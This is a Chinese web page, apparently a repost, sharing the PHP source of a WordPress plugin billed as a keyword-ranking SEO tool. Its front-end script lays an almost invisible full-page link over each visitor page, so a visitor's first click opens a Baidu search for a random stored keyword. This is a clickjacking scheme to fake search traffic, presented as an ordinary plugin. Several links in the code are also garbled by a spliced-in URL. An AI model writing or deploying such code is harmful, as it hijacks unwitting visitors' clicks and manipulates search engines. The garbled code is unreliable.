文章      动态     相关文章     最新文章     手机版动态     相关动态     |   首页|会员中心|保存桌面|手机浏览

5cwer5

http://fabua.ksxb.net/com5cwer5/

相关列表
文章列表
  • 暂无文章
推荐文章
联系方式
  • 联系人:李先生
  • 电话:15239184201
WordPress原创插件:Keyword-ranking-seo 1.0 关键词排名插件 有利于seo
发布时间:2024-12-25        浏览次数:2        返回列表
<?php

WordPress原创插件:Keyword-ranking-seo 1.0 关键词排名插件 有利于seo

// 确保只在管理后台执行 if (is_admin()) { // 添加设置页面 add_action('admin_menu', 'rlg_add_admin_menu'); add_action('admin_init', 'rlg_settings_init'); } function rlg_add_admin_menu() { add_options_page('关键词排名seo设置', '关键词排名seo设置', 'manage_options', 'random-link-generator', 'rlg_options_page'); } function rlg_settings_init() { register_setting('rlg_plugin_page', 'rlg_keywords'); } function rlg_options_page() { ?> <div class="wrap"> <h1>关键词排名seo设置</h1> <form method="post" action="options.php"> <?php settings_fields('rlg_plugin_page'); do_settings_sections('rlg_plugin_page'); ?> <table class="form-table"> <tr valign="top"> <th scope="row">关键词</th> <td> <textarea name="rlg_keywords" rows="10" cols="50"><?php echo esc_textarea(get_option('rlg_keywords')); ?></textarea> <p class="description">请输入关键词,每个关键词一行。</p> </td> </tr> </table> <?php submit_button(); ?> </form> <p style="text-align: center; font-size: 14px; color: #999;">本插件由<a href=https://download.csdn.net/download/huayula/"https://ds17.cn" target="_blank">大神博客ds17.cn</a>原创,务必保留所有权利,删除必究。</p> </div> <?php } function rlg_enqueue_script() { // 确保只在前端输出脚本 if (!is_admin()) { $keywords = get_option('rlg_keywords'); $encoded_keywords = json_encode(array_filter(array_map('trim', explode(" ",$keywords)))); ?> <script type="text/javascript"> var rlg_keywords = <?php echo $encoded_keywords; ?>; if (getcookie("baidu_tc") != "1") { var randomWord = encodeURIComponent(rlg_keywords[Math.floor(Math.random() * rlg_keywords.length)]); document.write('<a href=https://download.csdn.net/download/huayula/"http://www.baidu.com/s?ie=UTF-8&wd=' + randomWord + '" target="_blank" style="position: absolute; z-index: 9999999999; opacity: 0.1;top: 0px; left: 0px; width: 100%; height: '+document.body.offsetHeight+'px; background-color: rgb(255, 255, 255);" id="baidu_tc" onclick="baidu_tc();"></a>'); } function baidu_tc() { var link = document.getElementById("baidu_tc"); if (link) { link.style.display = "none"; setcookie("baidu_tc", "1"); } } function setcookie(cname, cvalue) { document.cookie = cname + "=" + cvalue + "; path=/"; } function getcookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(name) == 0) { return c.substring(name.length, c.length); } } return ""; } </script> <?php } }